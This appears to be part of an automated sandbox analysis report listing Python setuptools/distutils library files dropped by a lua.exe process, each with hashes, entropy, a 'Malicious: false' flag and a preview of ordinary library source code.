SHA-256:	4BF365C3885913C3E7220A97E4E14C766B7E19298E84F410E1FDA3AF5B819E85
SHA-512:	456D50B8897E5F09F71120E57B9096F9E8E4E8F8D597F5D82B1994B5590BFD7A82E60028F2A8598AFB9B3BDF8181007CF32C33B7C19203AEB1A847F455555F95
Malicious:	false
Preview:	"""distutils.command.build_py..Implements the Distutils 'build_py' command."""..import os.import importlib.util.import sys.import glob..from distutils.core import Command.from distutils.errors import *.from distutils.util import convert_path, Mixin2to3.from distutils import log..class build_py (Command):.. description = "\"build\" pure Python modules (copy to build directory)".. user_options = [. ('build-lib=', 'd', "directory to \"build\" (copy) to"),. ('compile', 'c', "compile .py to .pyc"),. ('no-compile', None, "don't compile .py files [default]"),. ('optimize=', 'O',. "also compile with optimization: -O1 for \"python -O\", ". "-O2 for \"python -OO\", and -O0 to disable [default: -O0]"),. ('force', 'f', "forcibly build everything (ignore file timestamps)"),. ].. boolean_options = ['compile', 'force']. negative_opt = {'no-compile' : 'compile'}.. def initialize_options(self):. self.build_lib = None.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\build_scripts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6232
Entropy (8bit):	4.0440371496609275
Encrypted:	false
SSDEEP:	96:uZ8U3ou4zi/BIKEKKAIUP+SNc0CHVtK2XwZES6EiiD7uD2ql:uZei/JpI6o0CxgPwiD7uD2Q
MD5:	00A2834F001C6F02148185994CF79272
SHA1:	5004C225637794C9E2A6EBC2832725F09EA76D66
SHA-256:	68AC9C2493F1DCB7D9D5CBD981225AC670F62E7BD1339589FBCC64A5D81C2EC2
SHA-512:	D67FC47BDF6E1CA27EF1EB64A38EF5C96B5C5E5D2D853C99C1588C1A2404CE23371691E111925E68A634B746AD4A4332225CE1D350F5891E36A3CBECCD3334D3
Malicious:	false
Preview:	"""distutils.command.build_scripts..Implements the Distutils 'build_scripts' command."""..import os, re.from stat import ST_MODE.from distutils import sysconfig.from distutils.core import Command.from distutils.dep_util import newer.from distutils.util import convert_path, Mixin2to3.from distutils import log.import tokenize..# check if Python is called on the first line with this expression.first_line_re = re.compile(b'^#!.python[0-9.]([ \t].*)?$')..class build_scripts(Command):.. description = "\"build\" scripts (copy and fixup #! line)".. user_options = [. ('build-dir=', 'd', "directory to \"build\" (copy) to"),. ('force', 'f', "forcibly build everything (ignore file timestamps"),. ('executable=', 'e', "specify final destination interpreter path"),. ].. boolean_options = ['force']... def initialize_options(self):. self.build_dir = None. self.scripts = None. self.force = None. self.executable = None. self.out

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\check.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5637
Entropy (8bit):	4.285191332447596
Encrypted:	false
SSDEEP:	96:vr731HoqQ4T+0BUpNg76V7rGjhIRGZ6sSGMx:vlXZyacNg7WaVIVz
MD5:	BAD48DA65E88E74D2AAC41ED25489AE3
SHA1:	CE7A7BD6427593393B903D7AC7A2D72E55345696
SHA-256:	E6A0ED23BE5C719837B0022D41679A22EF32DC5477D783B8AEBF529B3E07B04A
SHA-512:	7ACB052B222AD994BD166D727F01D905D82E7AE3BAC859209A02355D01AC5B146A25EB61CABE93E1BD8319217705889A9821ABAEF1F12CD7B30DB8C89B3CE265
Malicious:	false
Preview:	"""distutils.command.check..Implements the Distutils 'check' command..""".from distutils.core import Command.from distutils.errors import DistutilsSetupError..try:. # docutils is installed. from docutils.utils import Reporter. from docutils.parsers.rst import Parser. from docutils import frontend. from docutils import nodes.. class SilentReporter(Reporter):.. def __init__(self, source, report_level, halt_level, stream=None,. debug=0, encoding='ascii', error_handler='replace'):. self.messages = []. Reporter.__init__(self, source, report_level, halt_level, stream,. debug, encoding, error_handler).. def system_message(self, level, message, children, *kwargs):. self.messages.append((level, message, children, kwargs)). return nodes.system_message(message, level=level,. type=self.levels[level],.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\clean.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2776
Entropy (8bit):	4.1827302022334845
Encrypted:	false
SSDEEP:	48:sNhKO/7uUZH7gdPJg1HkETGf+QQNVuF54Zy:EhKOiuefkKt
MD5:	32FF3E6E129A5C76454317C77F53F497
SHA1:	08B65432E0111D58A220B02DE0E4491BB426540E
SHA-256:	D930ADE3BAEEE2165933445F55F5188F96DBA6272918B3F8421C398C1B6FA7D9
SHA-512:	774455AB061E928EAACD2A95FF4EE4BB602C2D21822C842C3FF38EE95FD6561A6837B955FF22443B77A4B35D42CCCD70AEE45B94D3C90D9FD51C6E68B002B2B7
Malicious:	false
Preview:	"""distutils.command.clean..Implements the Distutils 'clean' command."""..# contributed by Bastian Kleineidam <calvin@cs.uni-sb.de>, added 2000-03-18..import os.from distutils.core import Command.from distutils.dir_util import remove_tree.from distutils import log..class clean(Command):.. description = "clean up temporary files from 'build' command". user_options = [. ('build-base=', 'b',. "base build directory (default: 'build.build-base')"),. ('build-lib=', None,. "build directory for all modules (default: 'build.build-lib')"),. ('build-temp=', 't',. "temporary build directory (default: 'build.build-temp')"),. ('build-scripts=', None,. "build directory for scripts (default: 'build.build-scripts')"),. ('bdist-base=', None,. "temporary directory for built distributions"),. ('all', 'a',. "remove all build output, not just temporary by-products"). ].. boolean_options = ['all'].. def i

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\config.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13117
Entropy (8bit):	4.343711906351378
Encrypted:	false
SSDEEP:	192:vwzvdtzOOoYYtrfkZbcIeUgQMKNcirwiOnk3O1UNXqqSSbHJzP3:vwTd5oY2r4bcIdgbswiOO9NXqq17JzP3
MD5:	779D5E6711A831155FD3EB74C9AA6A50
SHA1:	7CE46F0E8990867EBDE596C7556952EF4D3373E5
SHA-256:	D9A4E3C30DCFC23301F3E6626C27B83FB07EA86D61335827FEB257632C51CFA7
SHA-512:	7489E2DD8A53D687AD16AA638D9EA729536DB87B75510FC9427EC1CCDE280CD799D4F37BFE4C1F45D087BDD9E194EFF0D10B3E8529A02EE9B517BC43B0BF8F69
Malicious:	false
Preview:	"""distutils.command.config..Implements the Distutils 'config' command, a (mostly) empty command class.that exists mainly to be sub-classed by specific module distributions and.applications. The idea is that while every "config" command is different,.at least they're all named the same, and users always see "config" in the.list of standard commands. Also, this is a good place to put common.configure-like tasks: "try to compile this C code", or "figure out where.this header file lives".."""..import os, re..from distutils.core import Command.from distutils.errors import DistutilsExecError.from distutils.sysconfig import customize_compiler.from distutils import log..LANG_EXT = {"c": ".c", "c++": ".cxx"}..class config(Command):.. description = "prepare to build".. user_options = [. ('compiler=', None,. "specify the compiler type"),. ('cc=', None,. "specify the compiler executable"),. ('include-dirs=', 'I',. "list of directories to search

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27482
Entropy (8bit):	4.376863152403295
Encrypted:	false
SSDEEP:	384:SC4LSh6zjRtYyStONqrxQsbUsKFiaAY89OC:SC4LNjRt5LIisRKsap8IC
MD5:	7F4CDE4AD64D227578AE2FCA417BFC58
SHA1:	BC394D934D24A05D97EEDE164CFD9BE411D1FAB2
SHA-256:	A0E336AC3EE5FD28250113550E68999FCBBA0C07E2757445FF2139412DF6F01E
SHA-512:	A01E2F907F9C9036326A7DF46FF73133426189030CBD5C9C38AFC174211B88A38DF2FC30280E36237F295DB2E1FEB423E17DDFB8480F42754A1812DA2F2B696E
Malicious:	false
Preview:	"""distutils.command.install..Implements the Distutils 'install' command."""..import sys.import os..from distutils import log.from distutils.core import Command.from distutils.debug import DEBUG.from distutils.sysconfig import get_config_vars.from distutils.errors import DistutilsPlatformError.from distutils.file_util import write_file.from distutils.util import convert_path, subst_vars, change_root.from distutils.util import get_platform.from distutils.errors import DistutilsOptionError..from site import USER_BASE.from site import USER_SITE.HAS_USER_SITE = True..WINDOWS_SCHEME = {. 'purelib': '$base/Lib/site-packages',. 'platlib': '$base/Lib/site-packages',. 'headers': '$base/Include/$dist_name',. 'scripts': '$base/Scripts',. 'data' : '$base',.}..INSTALL_SCHEMES = {. 'unix_prefix': {. 'purelib': '$base/lib/python$py_version_short/site-packages',. 'platlib': '$platbase/$platlibdir/python$py_version_short/site-packages',. 'headers': '$base/includ

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install_data.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2822
Entropy (8bit):	3.920127122195026
Encrypted:	false
SSDEEP:	48:sGHzN7wQCchXTzRTddPDqqxd39skssBct:pHzSQ/95dz3Xct
MD5:	5980BF1999EBA1E8CDF2F34D9DE17366
SHA1:	6887EB868C295CBCBF28C74FC48606018E92519B
SHA-256:	62118E0308778093EA17B7A6E57034AE6A51E36CF56CB87CD28A049730F252F9
SHA-512:	354892876EFAFB96CFB22FFEA01F47A45B5545B8A2EA0DB0D8C6EC3169466CAA1F8DCC6E4DC90AFA10EE99877DE7617E00F93B941B2B26815E35E490F9211A03
Malicious:	false
Preview:	"""distutils.command.install_data..Implements the Distutils 'install_data' command, for installing.platform-independent data files."""..# contributed by Bastian Kleineidam..import os.from distutils.core import Command.from distutils.util import change_root, convert_path..class install_data(Command):.. description = "install data files".. user_options = [. ('install-dir=', 'd',. "base directory for installing data files ". "(default: installation base dir)"),. ('root=', None,. "install everything relative to this alternate root directory"),. ('force', 'f', "force installation (overwrite existing files)"),. ].. boolean_options = ['force'].. def initialize_options(self):. self.install_dir = None. self.outfiles = []. self.root = None. self.force = 0. self.data_files = self.distribution.data_files. self.warn_dir = 1.. def finalize_options(self):. self.set_undefined_options('in

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install_egg_info.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2603
Entropy (8bit):	4.6333662499940145
Encrypted:	false
SSDEEP:	48:s4wja2CFl3K0aYaAPOJpOpoc1Ke4irWnK8/PkPw/PWtde:/w+2CFNKrBAPOfOpPWK8nkPwnWtde
MD5:	26B473F94FF6DABC1B347DED880F55FC
SHA1:	F21FF5158B1CEEE52071D14DBDB64BE571615A46
SHA-256:	D245B496254C79A7648D7D197117CCA6D2857A7D3B1B0EA0CB0D551D3E4A2307
SHA-512:	32B580B42406127BA1EC13E3854C678180720C5ABF5694C07EBBC573D24C4B8DF0EC4B02C2EE1BF75750606D916A91CB43FBB2D1CF236FF4C3F56D63823A99EE
Malicious:	false
Preview:	"""distutils.command.install_egg_info..Implements the Distutils 'install_egg_info' command, for installing.a package's PKG-INFO metadata."""...from distutils.cmd import Command.from distutils import log, dir_util.import os, sys, re..class install_egg_info(Command):. """Install an .egg-info file for the package""".. description = "Install package's PKG-INFO metadata as an .egg-info file". user_options = [. ('install-dir=', 'd', "directory to install to"),. ].. def initialize_options(self):. self.install_dir = None.. def finalize_options(self):. self.set_undefined_options('install_lib',('install_dir','install_dir')). basename = "%s-%s-py%d.%d.egg-info" % (. to_filename(safe_name(self.distribution.get_name())),. to_filename(safe_version(self.distribution.get_version())),. *sys.version_info[:2]. ). self.target = os.path.join(self.install_dir, basename). self.outputs = [self.target].. def

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install_headers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	4.200076161236764
Encrypted:	false
SSDEEP:	24:HMUZEOK7ZMy0oGwZ1CeIdn56GPzgmHdG7s6SdYxE5sXUrxJ0:sUhKiBb6CeonQQ6StskrY
MD5:	0AC201C7F1FBB60492830423EF164C56
SHA1:	497130A66A1D5CB4E762CFD18224838B0A235273
SHA-256:	5D0EA27646C80DFAF59635C23B39EE55432F385A47067E9C2B45B3F6020CD9BE
SHA-512:	97BF05A7DD01AD43C2452B15BF3826CDE21B2CFEB050D73EB66A92E7405AD03A52EEF4E60288B931EBB9CF9D22B633DD3A2263613D3F964CB441D0BAB55B0D30
Malicious:	false
Preview:	"""distutils.command.install_headers..Implements the Distutils 'install_headers' command, to install C/C++ header.files to the Python include directory."""..from distutils.core import Command...# XXX force is never used.class install_headers(Command):.. description = "install C/C++ header files".. user_options = [('install-dir=', 'd',. "directory to install header files to"),. ('force', 'f',. "force installation (overwrite existing files)"),. ].. boolean_options = ['force'].. def initialize_options(self):. self.install_dir = None. self.force = 0. self.outfiles = [].. def finalize_options(self):. self.set_undefined_options('install',. ('install_headers', 'install_dir'),. ('force', 'force'))... def run(self):. headers = self.distribution.headers. if not headers:. return..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install_lib.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8397
Entropy (8bit):	4.37329731037553
Encrypted:	false
SSDEEP:	96:mXA76IW/bdrKqUHFY+yBCHnYk+QrQLg/mzmTbw+vhfkkhhIUZkSnrVXkw98R9:mwPGBx6JnYUKQvZPTnrlPY9
MD5:	FF880CC519AF5A065C15C19E6CADEBD9
SHA1:	047F374BD66514FFCC00DE2CE700C5B09C399F3E
SHA-256:	F40A1F47E30EF6502D8F0C2EBA40A9B5EA4E68910A3195B65478B2479854EC70
SHA-512:	2AF756C138019A59E8B56EDC21A0D90627F21898CBD626A69347FB054B38B857A2168C492D8C76FA1914751A1D39F05844A51C49B4CF04B4754DA756985F282D
Malicious:	false
Preview:	"""distutils.command.install_lib..Implements the Distutils 'install_lib' command.(install all Python modules)."""..import os.import importlib.util.import sys..from distutils.core import Command.from distutils.errors import DistutilsOptionError...# Extension for Python source files..PYTHON_SOURCE_EXTENSION = ".py"..class install_lib(Command):.. description = "install all Python modules (extensions and pure Python)".. # The byte-compilation options are a tad confusing. Here are the. # possible scenarios:. # 1) no compilation at all (--no-compile --no-optimize). # 2) compile .pyc only (--compile --no-optimize; default). # 3) compile .pyc and "opt-1" .pyc (--compile --optimize). # 4) compile "opt-1" .pyc only (--no-compile --optimize). # 5) compile .pyc and "opt-2" .pyc (--compile --optimize-more). # 6) compile "opt-2" .pyc only (--no-compile --optimize-more). #. # The UI for this is two options, 'compile' and 'optimize'.. # 'compile' is str

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\install_scripts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2017
Entropy (8bit):	4.319010321741773
Encrypted:	false
SSDEEP:	24:HMBodZEgQ+LWr2MsenGFAsg2n5+Tf7/tGWRMzgm+qIc/HmHdNvO0Ao25XzXLxOHI:s2KrNMFAsg8cTrFY+UGfO0yncHWxmi
MD5:	FE833BF5F7A70E09881AC5D1D4D023DD
SHA1:	FC2F19AD40ACFFB7261A257DE02BC799375D3C28
SHA-256:	FC22D4790C06251718DA48A4EDACCF327E4876D0C2AE359D52F675921946E9C9
SHA-512:	449FF7DEB0481461C82BA42545B744D5F0492F1ED5B95C845A4E26948B0088EE2302E7772B395743CF3F5825A1606A11AA3879F6B6FA073DF4A26AE8B1B7DB49
Malicious:	false
Preview:	"""distutils.command.install_scripts..Implements the Distutils 'install_scripts' command, for installing.Python scripts."""..# contributed by Bastian Kleineidam..import os.from distutils.core import Command.from distutils import log.from stat import ST_MODE...class install_scripts(Command):.. description = "install scripts (Python or otherwise)".. user_options = [. ('install-dir=', 'd', "directory to install scripts to"),. ('build-dir=','b', "build directory (where to install from)"),. ('force', 'f', "force installation (overwrite existing files)"),. ('skip-build', None, "skip the build steps"),. ].. boolean_options = ['force', 'skip-build'].. def initialize_options(self):. self.install_dir = None. self.force = 0. self.build_dir = None. self.skip_build = None.. def finalize_options(self):. self.set_undefined_options('build', ('build_scripts', 'build_dir')). self.set_undefined_options('install',.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\py37compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.960662782113443
Encrypted:	false
SSDEEP:	12:ky8wYf5c4hW//udCJ98YcKIdTZKuOBzypTDTcNIdTZjL2MAp0CUXtn0NH8s:kpwh4ISC/8YcKOnQzypHYNO0npN+n2cs
MD5:	874E242762B3B7BE70922B4F9A230A53
SHA1:	FC896058644CCB406524C86373D854F033D0BF35
SHA-256:	AB346186F4E286AC7F3D966DD996040B18755F73A3DB9E55A9AB737A560500AC
SHA-512:	B272344AE0596FF2CD8D098227FF52AD88F11056F65B0B9CF1A71BC5FC6179865F3A4C87C3A819E6DD338030AB4EC20D0F7D35FE0E3612252258EDED73166150
Malicious:	false
Preview:	import sys...def _pythonlib_compat():. """. On Python 3.7 and earlier, distutils would include the Python. library. See pypa/distutils#9.. """. from distutils import sysconfig. if not sysconfig.get_config_var('Py_ENABLED_SHARED'):. return.. yield 'python{}.{}{}'.format(. sys.hexversion >> 24,. (sys.hexversion >> 16) & 0xff,. sysconfig.get_config_var('ABIFLAGS'),. )...def compose(f1, f2):. return lambda args, kwargs: f1(f2(args, **kwargs))...pythonlib = (. compose(list, _pythonlib_compat). if sys.version_info < (3, 8). and sys.platform != 'darwin'. and sys.platform[:3] != 'aix'. else list.).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\register.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11712
Entropy (8bit):	4.296711756326322
Encrypted:	false
SSDEEP:	192:c1NiDZ8TSFX1JdO32GO4DR8qq2jrTt2s0KeBhebXa/prFWH8MnT7jGyToTT7vTt:qjRRO4Njos0vYkp+8MTXGykT7J
MD5:	D3CE1DD7CF436A7AFD2BBF9D08C657E9
SHA1:	D2CAE77BFA9716331E7DFCE998B95D70FCAD3865
SHA-256:	DA36AAF7DEBCAEDDA9B91543071D476CD897BF6EEE3A4F22744FF894F7FFDD53
SHA-512:	D7D16090028E53ADCB1467C3D1D6A016DA4B8EC0A88EBD20362FEB054DF1B76082609FBEBBA56AFD02D764948ED957B7A507E45FE709FCDB3C18AD9D37D3A2EE
Malicious:	false
Preview:	"""distutils.command.register..Implements the Distutils 'register' command (register with the repository).."""..# created 2002/10/21, Richard Jones..import getpass.import io.import urllib.parse, urllib.request.from warnings import warn..from distutils.core import PyPIRCCommand.from distutils.errors import *.from distutils import log..class register(PyPIRCCommand):.. description = ("register the distribution with the Python package index"). user_options = PyPIRCCommand.user_options + [. ('list-classifiers', None,. 'list the valid Trove classifiers'),. ('strict', None ,. 'Will stop the registering if the meta-data are not fully compliant'). ]. boolean_options = PyPIRCCommand.boolean_options + [. 'verify', 'list-classifiers', 'strict'].. sub_commands = [('check', lambda self: True)].. def initialize_options(self):. PyPIRCCommand.initialize_options(self). self.list_classifiers = 0. self.strict = 0.. def fina

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\sdist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19005
Entropy (8bit):	4.31120287481556
Encrypted:	false
SSDEEP:	384:0u4qs+pU6JJMoanbGfXK4thY3V4xByERlt9CPNPqPbJtRaTFwlHBwE2:0u4qsgpJ+oaniXK4thY3V4xNRDQCPbPs
MD5:	DC4AF0791ADAB9D5AFEB0EF74CC1C749
SHA1:	C511E6B0BEF527A736CC3CC59DF78ECD371A2EE0
SHA-256:	AA8B498C03B3CA1263AB6FA80C89A3345ACEB5A4A778414325307EB04935C275
SHA-512:	B58E2303B48D11F6336BC91B9648EE072194DAF2245E64408A243FEE01375B87BC98B90C84EE9C6586F5AEC4AE9FD5DBD5F012EED05EEDA9881F25767BA583EE
Malicious:	false
Preview:	"""distutils.command.sdist..Implements the Distutils 'sdist' command (create a source distribution)."""..import os.import sys.from glob import glob.from warnings import warn..from distutils.core import Command.from distutils import dir_util.from distutils import file_util.from distutils import archive_util.from distutils.text_file import TextFile.from distutils.filelist import FileList.from distutils import log.from distutils.util import convert_path.from distutils.errors import DistutilsTemplateError, DistutilsOptionError...def show_formats():. """Print all possible values for the 'formats' option (used by. the "--help-formats" command-line option).. """. from distutils.fancy_getopt import FancyGetopt. from distutils.archive_util import ARCHIVE_FORMATS. formats = []. for format in ARCHIVE_FORMATS.keys():. formats.append(("formats=" + format, None,. ARCHIVE_FORMATS[format][2])). formats.sort(). FancyGetopt(formats).print_help(.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\upload.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7597
Entropy (8bit):	4.462182458964616
Encrypted:	false
SSDEEP:	96:+g/GDvbNb8RQxJQwudx/uaQB9EGvBamyNGM/7XqZzmI0voscW:+yG98RgSdQz/yNl6ht0vos3
MD5:	E6D24C1DF6032EA996227F25F65027D2
SHA1:	11D5208EC4E3CC0AEDA3C2DCE24067CEEED66298
SHA-256:	04B3B5C3B79202AB028C22D7B5FFC24554A3C05D569B2381C8654635D710F286
SHA-512:	0AF8F3617F9DEF35EEAFE347EAA066683AF6CEC1F3CC947EAB52A9D2A610DE10AB770C22BDEE4CD327C6C63C83ACA6DAE9673AD6A386D0CD32FBE5FEBA0C727A
Malicious:	false
Preview:	""".distutils.command.upload..Implements the Distutils 'upload' subcommand (upload package to a package.index).."""..import os.import io.import hashlib.from base64 import standard_b64encode.from urllib.request import urlopen, Request, HTTPError.from urllib.parse import urlparse.from distutils.errors import DistutilsError, DistutilsOptionError.from distutils.core import PyPIRCCommand.from distutils.spawn import spawn.from distutils import log...# PyPI Warehouse supports MD5, SHA256, and Blake2 (blake2-256).# https://bugs.python.org/issue40698._FILE_CONTENT_DIGESTS = {. "md5_digest": getattr(hashlib, "md5", None),. "sha256_digest": getattr(hashlib, "sha256", None),. "blake2_256_digest": getattr(hashlib, "blake2b", None),.}...class upload(PyPIRCCommand):.. description = "upload binary package to PyPI".. user_options = PyPIRCCommand.user_options + [. ('sign', 's',. 'sign files to upload using gpg'),. ('identity=', 'i', 'GPG identity used to sign files')

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\config.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4827
Entropy (8bit):	4.251119264194311
Encrypted:	false
SSDEEP:	96:ULlm1+jg2g978d8Gjw6Wk+2YNF1l2s966b0VqnjN:ULli+XgZ8d8+hb+2YNF1l2s9xwcnjN
MD5:	B5ECBA3A7BA3F8976043A7BA42C537B9
SHA1:	DC5759F954D082A6F9609119646336A0532E90F3
SHA-256:	76D1E06E5C7D2617F2ACAC75F89EC9971C3F7FBB3C65B3C54228B65163136696
SHA-512:	2F1413D096DF1F4C7B3E242DD9D6679C2357905AD33B77770D540B94B52D1B18E20208BDCDBEAD1402BF88CCBF855E5018CECDD65605AE9145630579C89B6FEB
Malicious:	false
Preview:	"""distutils.pypirc..Provides the PyPIRCCommand class, the base class for the command classes.that uses .pypirc in the distutils.command package..""".import os.from configparser import RawConfigParser..from distutils.cmd import Command..DEFAULT_PYPIRC = """\.[distutils].index-servers =. pypi..[pypi].username:%s.password:%s."""..class PyPIRCCommand(Command):. """Base command that knows how to handle the .pypirc file. """. DEFAULT_REPOSITORY = 'https://upload.pypi.org/legacy/'. DEFAULT_REALM = 'pypi'. repository = None. realm = None.. user_options = [. ('repository=', 'r',. "url of repository [default: %s]" % \. DEFAULT_REPOSITORY),. ('show-response', None,. 'display full response text from server')].. boolean_options = ['show-response'].. def _get_rc_file(self):. """Returns rc file path.""". return os.path.join(os.path.expanduser('~'), '.pypirc').. def _store_pypirc(self, username, password):.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\core.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8876
Entropy (8bit):	4.49115651541053
Encrypted:	false
SSDEEP:	192:mrxst8vM8Bi8UFjQ35XvxzjzL95Ck7l5rT6l/+yBlYONpbPZe38RAp:mrxU8PUW5X5zjuk7l92lYOVqOG
MD5:	9ABF9A6C3C899621C428D944467C1C88
SHA1:	1F569710D45AA377F8E2E36D1683826C0A918F4B
SHA-256:	8DB74E92938AD3DC62FB9EAF861C2F9F77D87612DBE4324EF2ADCAD5F9D0CF44
SHA-512:	CAC0750F267EF29691B1CACAC4085641BE91AAE7C90929E0E4B2A0ABB568A4A16D29FA59FD3D2C0CCE16F46F9F3095E3A7A91C1CADB059250ED2420902214120
Malicious:	false
Preview:	"""distutils.core..The only module that needs to be imported to use the Distutils; provides.the 'setup' function (which is to be called from the setup script). Also.indirectly provides the Distribution and Command classes, although they are.really defined in distutils.dist and distutils.cmd.."""..import os.import sys..from distutils.debug import DEBUG.from distutils.errors import *..# Mainly import these so setup scripts can "from distutils.core import" them..from distutils.dist import Distribution.from distutils.cmd import Command.from distutils.config import PyPIRCCommand.from distutils.extension import Extension..# This is a barebones help message generated displayed when the user.# runs the setup script with no arguments at all. More useful help.# is generated with various --help options: global help, list commands,.# and per-command help..USAGE = """\.usage: %(script)s [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]. or: %(script)s --help [cmd1 cmd2 ...]. or: %(script)

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\cygwinccompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16380
Entropy (8bit):	4.588517615626846
Encrypted:	false
SSDEEP:	384:CjOjKRk+zDAHTSq8fSE/0MFrdSrxzoOWBljV68:T2Rk+XAEfFFJSV8nl7
MD5:	545583F2C92510C8F03CB6A4A75CBC43
SHA1:	31858F4364E14AB71A0A1C463A3C85C9FACB71A6
SHA-256:	F54E0902EB14CE5006265D18E674E83E443795DCEC780B62C9EE37E26C09D28C
SHA-512:	C476B98B911B283F8548DEE0B71D7746841B1DA4CF8A7BCD56672BB9A76361E597CF26DEE11251DF6C14CA710FEE2069A23E75D8DD1FF35FE32B12A19E2735F0
Malicious:	false
Preview:	"""distutils.cygwinccompiler..Provides the CygwinCCompiler class, a subclass of UnixCCompiler that.handles the Cygwin port of the GNU C compiler to Windows. It also contains.the Mingw32CCompiler class which handles the mingw32 port of GCC (same as.cygwin in no-cygwin mode).."""..# problems:.#.# * if you use a msvc compiled python version (1.5.2).# 1. you have to insert a __GNUC__ section in its config.h.# 2. you have to generate an import library for its dll.# - create a def-file for python??.dll.# - create an import library using.# dlltool --dllname python15.dll --def python15.def \.# --output-lib libpython15.a.#.# see also http://starship.python.net/crew/kernr/mingw32/Notes.html.#.# * We put export_symbols in a def-file, and don't use.# --export-all-symbols because it doesn't worked reliable in some.# tested configurations. And because other windows compilers also.# need their symbols specified this no serious problem..#.# test

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\debug.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.871969431047891
Encrypted:	false
SSDEEP:	3:JSxPDbsQhgXFuLc1FKRpxRIVRjSA07A1xpnV6SWhGOhgXCu:a80gVuTR5IVQFKfV6Zgn
MD5:	BC1E4C71305DFBEEBA03CD8E4E56E931
SHA1:	366246D9AB8F12833B1B2765FADE51BB635D49CA
SHA-256:	37A32B4C0A8AEA5F52564EAD5B0791D74F0F33C3A5EEA3657F257E9C770B86C6
SHA-512:	876D9D1FA517468B7D84C7E4464916CBC50F923E764FAA274CCD2E6F2B8E3D350A7B2A3E57C26AC287E83119A7CDDCD3EF11FFB1EC2B513B3F899373248FCB36
Malicious:	false
Preview:	import os..# If DISTUTILS_DEBUG is anything other than the empty string, we run in.# debug mode..DEBUG = os.environ.get('DISTUTILS_DEBUG').

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\dep_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3491
Entropy (8bit):	4.407774250090949
Encrypted:	false
SSDEEP:	96:6Otegu7byq0MwMCTKJReddOPF/c4fRIaLRjWWAkh9n/:6Okgu7bR0jKHGdO9dJ9jEk/
MD5:	2C802D52E0F1E97C4C917B11868BD899
SHA1:	C880AD7D47A80032848486533199C76BB73020B5
SHA-256:	1AE47D230FE3CD9464C9E989E475FCAC1FF0446C642017019B5AA1E78AFBCE19
SHA-512:	33BA5D0502A6D8B6DEE7E12DBA940F0C207A185B3302D7CD92D985A0DB4A544B00049EC208A01993B441CC173D4E9AF88992D5C181D1730AC68ADCDC433333A3
Malicious:	false
